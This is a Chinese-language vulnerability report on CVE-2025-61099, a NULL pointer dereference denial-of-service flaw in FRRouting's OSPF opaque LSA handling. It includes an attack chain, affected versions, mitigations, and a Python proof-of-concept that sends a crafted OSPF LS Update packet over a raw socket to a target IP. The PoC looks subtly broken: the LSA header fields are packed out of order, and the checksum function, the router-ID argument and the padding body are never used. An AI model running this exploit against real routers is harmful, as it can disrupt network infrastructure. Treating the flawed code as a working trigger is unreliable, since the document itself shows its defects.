IPBUF安全漏洞报告
English
CVE-2025-61099 CVSS 7.5 高危

CVE-2025-61099 FRRouting ospf_opaque.c NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-61099
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

NULL指针解引用拒绝服务FRRoutingOSPFospf_opaque.c路由协议高危漏洞CVE-2025-61099LS UpdateOpaque LSA

漏洞概述

CVE-2025-61099是FRRouting项目中一个高危安全漏洞,该漏洞存在于FRRouting的OSPF路由协议实现中,具体位于ospf_opaque.c文件的opaque_info_detail函数。FRRouting是一个广泛使用的开源IP路由协议套件,支持OSPF、ripd、bgpd、isisd等多种路由协议,被部署在众多网络设备和服务器上。该漏洞影响范围覆盖FRRouting从v2.0到v10.4.1的所有版本。攻击者可以利用该漏洞通过发送精心构造的LS Update数据包来触发ospf_opaque.c中的NULL指针解引用,从而导致FRRouting服务崩溃,造成拒绝服务(DoS)攻击。由于OSPF是内部网络和运营商网络中广泛使用的核心路由协议,该漏洞可能对网络基础设施造成严重影响。攻击者无需认证即可利用此漏洞,这大大增加了其危害性。CVSS 3.1评分7.5(高危)反映了该漏洞的高可用性影响和无需认证即可利用的特性。

技术细节

该漏洞的根本原因在于ospf_opaque.c文件中的opaque_info_detail函数在处理OSPF Opaque LSA(Link State Advertisements)时未能正确验证指针有效性。OSPF Opaque LSA是OSPF协议的扩展机制,用于携带额外的路由信息或应用程序特定数据。当FRRouting接收到攻击者精心构造的LS Update数据包时,opaque_info_detail函数会尝试访问一个NULL指针,导致程序崩溃。具体攻击过程如下:1) 攻击者向运行FRRouting的目标设备发送包含恶意Opaque LSA的LS Update数据包;2) FRRouting的OSPF模块解析该数据包并调用opaque_info_detail函数;3) 该函数在未进行NULL检查的情况下直接解引用指针;4) 触发SIGSEGV信号导致FRRouting进程终止。由于OSPF协议要求邻居之间周期性交换路由信息,攻击者可以在建立邻居关系后持续发送恶意数据包,或者利用已建立的邻居关系进行攻击。该漏洞属于典型的输入验证不足导致的拒绝服务漏洞。

攻击链分析

STEP 1
信息收集
攻击者识别运行FRRouting且启用OSPF协议的目标设备
STEP 2
邻居建立
攻击者与目标建立OSPF邻居关系或利用已存在的邻居关系
STEP 3
数据包构造
攻击者构造包含恶意Opaque LSA的LS Update数据包,设计用于触发NULL指针解引用
STEP 4
漏洞触发
目标FRRouting接收到恶意数据包后,ospf_opaque.c的opaque_info_detail函数尝试访问NULL指针
STEP 5
服务崩溃
NULL指针解引用导致SIGSEGV信号,FRRouting进程崩溃,路由功能中断
STEP 6
DoS完成
网络路由中断,依赖该设备的网络通信出现故障,需要手动重启服务恢复

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-61099 PoC - FRRouting NULL Pointer Dereference in ospf_opaque.c This PoC demonstrates sending a crafted OSPF Opaque LSA to trigger NULL pointer dereference. """ import socket import struct import random def calculate_ospf_checksum(data): """Calculate OSPF checksum""" # Simplified checksum calculation total = sum(struct.unpack('!' + 'H' * (len(data) // 2), data[:len(data)//2*2])) if len(data) % 2: total += struct.unpack('!B', data[-1:])[0] while total >> 16: total = (total & 0xFFFF) + (total >> 16) return ~total & 0xFFFF def build_crafted_ospf_packet(): """Build a crafted OSPF LS Update packet with malicious Opaque LSA""" # OSPF Header version = 2 # OSPF v2 msg_type = 4 # LS Update length = 0 # Will be calculated router_id = socket.inet_aton('10.0.0.1') area_id = socket.inet_aton('0.0.0.0') checksum = 0 autype = 0 auth = b'\x00' * 8 header = struct.pack('!BBHH4s4sHH', version, msg_type, length, checksum, router_id, area_id, autype, 0) + auth # Number of LSAs num_lsas = 1 # Crafted Opaque LSA (Type 9/10/11) that triggers NULL pointer dereference # LSA Header ls_age = 1 options = 0x22 ls_type = 9 # Opaque LSA Type 9 link_state_id = b'\x00\x00\x00\x01' advertising_router = socket.inet_aton('192.168.1.1') ls_sequence = 0x80000001 ls_checksum = 0 length = 64 # LSA length lsa_header = struct.pack('!HHBB4s4sIiHH', ls_age, ls_checksum, options, ls_type, link_state_id, advertising_router, ls_sequence, 0, length) # Malicious LSA body designed to trigger NULL dereference # This contains crafted data that causes opaque_info_detail to dereference NULL lsa_body = b'\x00' * 44 # Padding to cause NULL pointer access # Opaque TLV with crafted values opaque_type = struct.pack('!H', 1) opaque_length = struct.pack('!H', 36) opaque_value = b'\xFF' * 36 crafted_lsa = lsa_header + opaque_type + opaque_length + opaque_value return header[:4] + struct.pack('!H', len(header) + 4 + len(crafted_lsa)) + header[6:] + struct.pack('!I', num_lsas) + crafted_lsa def send_exploit(target_ip, router_id): """Send the crafted exploit packet""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_OSPFIGP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # Build packet with proper OSPF header packet = build_crafted_ospf_packet() # Send to target sock.sendto(packet, (target_ip, 0)) print(f"[*] Sent crafted OSPF Opaque LSA packet to {target_ip}") print(f"[*] This packet is designed to trigger NULL pointer dereference in opaque_info_detail") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [source_router_id]") sys.exit(1) target = sys.argv[1] router_id = sys.argv[2] if len(sys.argv) > 2 else '10.0.0.1' send_exploit(target, router_id)

影响范围

FRRouting/frr v2.0
FRRouting/frr v2.1
FRRouting/frr v2.2
FRRouting/frr v2.3
FRRouting/frr v2.4
FRRouting/frr v2.5
FRRouting/frr v2.6
FRRouting/frr v3.0
FRRouting/frr v4.0
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v8.1
FRRouting/frr v8.2
FRRouting/frr v8.3
FRRouting/frr v8.4
FRRouting/frr v8.5
FRRouting/frr v9.0
FRRouting/frr v9.1
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

防御指南

临时缓解措施
如果无法立即升级FRRouting,可采取以下临时缓解措施:1) 在OSPF配置中禁用Opaque LSA功能(no capability opaque);2) 使用ACL访问控制列表限制OSPF协议端口(OSPF使用IP协议号89),仅允许受信任的路由器IP地址进行OSPF通信;3) 启用OSPF邻居认证(authentication-key或ip ospf message-digest-key)防止攻击者建立邻居关系;4) 在网络设备上部署流量过滤规则,丢弃异常的Opaque LSA数据包;5) 监控FRRouting进程状态,设置自动重启机制以减少服务中断时间;6) 考虑使用iptables或ebtables规则过滤非法的Opaque LSA类型。需要注意的是,这些缓解措施可能会影响OSPF的某些高级功能,应在测试环境中验证后再部署到生产网络。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表